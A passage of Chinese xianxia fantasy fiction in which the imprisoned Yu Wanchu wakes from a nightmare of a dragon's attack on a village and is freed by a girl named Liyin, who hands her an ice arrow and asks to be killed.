一会是那人状若癫狂,伴着恶龙咆哮的怒声:“苍生,苍生!我护苍生之时,谁又曾来护我?!” 一会又是叔婶们的催促:“撑不了多久了,那疯子要下来了,走,快——” 一会又是她飞跑在风中,不知说给谁听的低声自喃:“跑,要跑……不能回头……要跑,要报仇……” 巨硕的龙尾向着一村凡人当头拍下,就在那轰然砸落之声中,虞宛初的神识亦跟着一阵剧颤。 “不,不要——!” 深嵌入嶙峋山壁之上的魂钉锁链猛烈地震颤起来。 虞宛初猛地睁开了眼。 身前,山牢昏昧的翳影中,有一个少女,正静静等望着她,立在那里。 她身上似乎还背着一个比她高出许多的少年,却分毫不显吃力。见她醒来,她踏前一步,有些欣喜地笑弯了眉眼:“虞姐姐,你醒啦。” 看清璃音背上的少年,虞宛初瞳孔微颤,她拖着虚弱但毫不见卑亢的嗓音斥道:“今日之事皆我一人所为,阿言他没有参与,亦毫不知情。我常听师尊提起,说昆仑乃是九重天上最法度严明之地,若也要学人间那套株连的做法,不能按罪论处,你们岂非枉为——” 璃音听了一会,便觉没必要再听了,不等她说完,便猛地打出一道禁制,将她封了口,顺便挥断了她身上四道锁链。 “若真正该死之人未死,今次也未必就是你们过来的最后一次吧。” 璃音一面说着,一面放下背上的虞宛言,从乾坤袋中掏出了一支长长的冰箭,放入了虞宛初的手中。 她向身前的女子仰起头来,那一张如玉清丽的脸上,有着终可赴死的平静遂然。 “虞姐姐,你杀了我,然后走吧。”